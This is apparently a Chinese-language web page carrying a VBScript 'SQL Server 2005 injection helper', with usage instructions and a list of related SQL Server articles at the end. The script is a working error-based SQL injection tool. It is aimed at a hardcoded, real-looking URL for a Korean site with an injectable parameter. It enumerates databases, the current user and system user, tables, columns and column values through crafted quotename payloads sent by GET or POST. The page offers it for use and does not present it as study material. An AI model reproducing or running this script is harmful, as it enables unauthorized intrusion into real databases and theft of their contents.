Sql2005注射輔助腳本[粗糙版]
'為了保持腳本的通用性,放棄了 and (select col_name(object_id('TableName'),N))=0這樣的用法。
'欲返回韓文等字符可修改121或者136行,更多的設(shè)置要自己修改
'更多功能請(qǐng)大家自己加入
Const method = "Get" '提交方式請(qǐng)修改此處,有g(shù)et和post可選
Const DisPlay = "D" 'S 保存到文件,D輸出到屏幕
Dim strUrl_B, strUrl, i, k, MyArray, strArg, strD
strUrl_B = "http://onedu.mk.co.kr/02_process/cata1_2.asp?kwajung_code=120'" '基于注射點(diǎn)的不確定性,此處請(qǐng)手工更改
i = 1 '庫(kù)的基數(shù)
k = 0 '表和字段的基數(shù)
MyArray = Split(strUrl_B, "?", -1, 1)
strUrl = MyArray(0) '取url
strArg = MyArray(1) '取參數(shù)
Set Args = Wscript.Arguments
If Args.Count = 0 Then
ShowU
End If
'If Args.Count =1 And LCase(Args(0))
'************************************************************************
' 爆庫(kù)
'************************************************************************
If Args.Count =1 Then
If LCase(Trim(Args(0)))="databases" Then
ResuT("---------------===============================--------------")
ResuT("All The DataBases:")
Do
strData = " and quotename(db_name("&i&"))=0--"
sqlInj(strData)
i = i + 1
Loop Until StrD=""
ResuT("---------------===============================--------------")
Wscript.Quit
ElseIf LCase(Trim(Args(0)))= "info" then
ResuT("---------------===============================--------------")
ResuT("The Current Database is:")
strData = " and quotename(db_name())=0--"
sqlInj(strData)
ResuT("---------------===============================--------------")
ResuT("The database User is:")
strData = " and quotename(user)=0--"
sqlInj(strData)
ResuT("---------------===============================--------------")
ResuT("The System_user is:")
strData = " and quotename(System_user)=0--"
sqlInj(strData)
ResuT("---------------===============================--------------")
Wscript.Quit
End If
End If
'************************************************************************
' 爆表
'************************************************************************
If Args.Count=2 And LCase(Trim(Args(1)))="tables" Then
ResuT("---------------===============================--------------")
ResuT("The Tables Of " & Args(0))
Do
strData = " and (select top 1 quotename(name) from "& Args(0) & ".dbo.sysobjects where xtype=char(85) AND name not in (select top "& k &" name from "&Args(0)&".dbo.sysobjects where xtype=char(85)))=0--"
sqlInj(strData)
k = k + 1
Loop Until StrD=""
ResuT("---------------===============================--------------")
Wscript.Quit
End If
'************************************************************************
' 爆字段
'************************************************************************
If Args.Count=3 And LCase(Trim(Args(2)))="cols" Then
Database = Args(0)
Table = Args(1)
TarGet = DataBase & ".dbo." & Table
TarGetCol = Database & ".DBO.SYSCOLUMNS"
ResuT("---------------===============================--------------")
ResuT("The Columns Of " & TarGet)
Do
strData = " and (select top 1 Quotename(name) from "& TarGetCol &" where id=object_id('"& TarGet &"') and name not in (select top "&k&" name from "& TarGetCol &" where id=object_id('"& TarGet &"')))=0--"
sqlInj(strData)
k = k + 1
Loop Until StrD=""
ResuT("---------------===============================--------------")
Wscript.Quit
End If
'************************************************************************
' 爆字段值
'************************************************************************
If Args.Count=4 And LCase(Trim(Args(3)))="values" Then
Database = Args(0)
Table = Args(1)
col = Args(2)
Target = Database & ".dbo." & Table
ResuT("---------------===============================--------------")
ResuT("The Values Of " & Args(2) & " in "&Target)
Do
strData = " and (select top 1 quotename("& col &") from "& Target & " where "& col &" not in (select top "& k &" "& col &" from "& Target &"))=0--"
sqlInj(strData)
k = k + 1
Loop Until StrD=""
ResuT("---------------===============================--------------")
Wscript.Quit
End If
Sub SqlInj(value)
If UCase(method) = "GET" Then
value = strArg & value
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "GET", strUrl &"?" & value , False
objXML.SetRequestHeader "Referer", strUrl
'objXML.SetRequestHeader "Accept-Language", "EUC-KR"
objXML.send()
strRevS = objXML.ResponseText '默認(rèn)用這個(gè)
'strRevS = bytes2BSTR(objXML.ResponseBody) '韓文有時(shí)候要用這個(gè)
If InStr(strRevS,"'[")<>0 And InStr(strRevs,"]'")<>0 Then
strD = Mid(strRevS,InStr(strRevS,"'[")+2, InStr(strRevs,"]'") - Instr(strRevS,"'[")-2)
ResuT(" |_"&strD)
Else
strD = ""
End If
ElseIf UCase(method) = "POST" Then
value = strArg & value
Set objXML = CreateObject("Microsoft.XMLHTTP")
objXML.Open "POST", strUrl, False
objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objXML.SetRequestHeader "Referer", strUrl
objXML.send(UrlEncode(value))
strRevS = objXML.ResponseText '默認(rèn)用這個(gè)
'strRevS = bytes2BSTR(objXML.ResponseBody) '韓文有時(shí)候要用這個(gè)
If InStr(strRevS,"'[")<>0 And InStr(strRevs,"]'")<>0 Then
strD = Mid(strRevS,InStr(strRevS,"'[")+2, InStr(strRevs,"]'") - Instr(strRevS,"'[")-2)
ResuT(" |_"&strD)
Else
strD = ""
End If
End If
End Sub
Function ResuT(strInfo)
If UCase(DisPlay) = "S" Then
Set fso = CreateObject("Scripting.FileSystemObject")
Set fso1 = fso.OpenTextFile("result.txt",8,True)
fso1.WriteLine(strInfo)
fso1.Close
Set fso = Nothing
ElseIf UCase(DisPlay) = "D" Then
Wscript.Echo(strInfo)
End If
End Function
Function UrlEncode(str)
str = Replace(str," ","+")
UrlEncode = str
End Function
Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
Sub showU()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("Sql2005注射輔助腳本(粗糙版),用于mssql顯錯(cuò)模式 By Tr4c3[at]126[Dot]com")
.Echo("Usage:")
.Echo(" cscript"&.ScriptName&" info--爆基本信息")
.Echo(" cscript"&.ScriptName&" databases--爆所有庫(kù)名")
.Echo(" cscript"&.ScriptName&" pubs tables--爆庫(kù)pubs里所有用戶表名")
.Echo(" cscript"&.ScriptName&" pubs authors cols--爆庫(kù)pubs里authors表的所有字段名")
.Echo(" cscript"&.ScriptName&" pubs authors au_id values--爆pubs.dbo.authors里au_id的值")
.Echo("+--------------------------=====================------------------------------+")
.Quit
End with
End Sub
相關(guān)文章
SQL2005學(xué)習(xí)筆記 APPLY 運(yùn)算符
APPLY 運(yùn)算符簡(jiǎn)介: APPLY 運(yùn)算符是Sql Server2005新增加的運(yùn)算符。2009-07-07mssql數(shù)據(jù)庫(kù)游標(biāo)批量修改符合條件記錄的方法
這篇文章主要介紹了mssql數(shù)據(jù)庫(kù)游標(biāo)如何批量修改符合條件的記錄,需要的朋友可以參考下2014-05-05Win7 32/64位系統(tǒng)下安裝SQL2005和SP3補(bǔ)丁安裝教程[圖文]
今天有網(wǎng)友問(wèn)win7 64系統(tǒng)下能安裝sql2005嗎,答案是肯定了,大家可以參考下面這篇文章試試2012-12-12mssql2005數(shù)據(jù)庫(kù)鏡像搭建教程
數(shù)據(jù)庫(kù)鏡像是SQL SERVER 2005用于提高數(shù)據(jù)庫(kù)可用性的新技術(shù)其優(yōu)勢(shì)是以在不丟失已提交數(shù)據(jù)的前提下進(jìn)行快速故障轉(zhuǎn)移,無(wú)須專門的硬件,并且易于配置和管理,本文將如介紹,有需求的朋友可以參考下2012-11-11sqlserver2005 TSql新功能學(xué)習(xí)總結(jié)(數(shù)據(jù)類型篇)
sql server2005 TSql新功能學(xué)習(xí)總結(jié)(數(shù)據(jù)類型篇) ,希望對(duì)需要的朋友有所幫助。2010-07-07SQLserver 2005文件和文件組的作用說(shuō)明
本文詳細(xì)和大家講解一下sql server 2005數(shù)據(jù)庫(kù)中的文件和文件組的作用。2010-03-03使用SQLSERVER 2005/2008 遞歸CTE查詢樹(shù)型結(jié)構(gòu)的方法
我們經(jīng)常遇到樹(shù)型結(jié)構(gòu),把它們顯示在一個(gè)類似TreeView控件上的情況。這時(shí)我們可以使用Recursive Common Table Expressions(CTE)實(shí)現(xiàn)2011-10-10在登錄觸發(fā)器錯(cuò)誤情況下連接SQL Server的方法
如果你創(chuàng)建了一個(gè)登錄觸發(fā)器,并且在這個(gè)觸發(fā)器中有一些不好的代碼,那么當(dāng)你嘗試著登錄時(shí),你將會(huì)得到一個(gè)類似于圖一顯示的錯(cuò)誤2011-07-07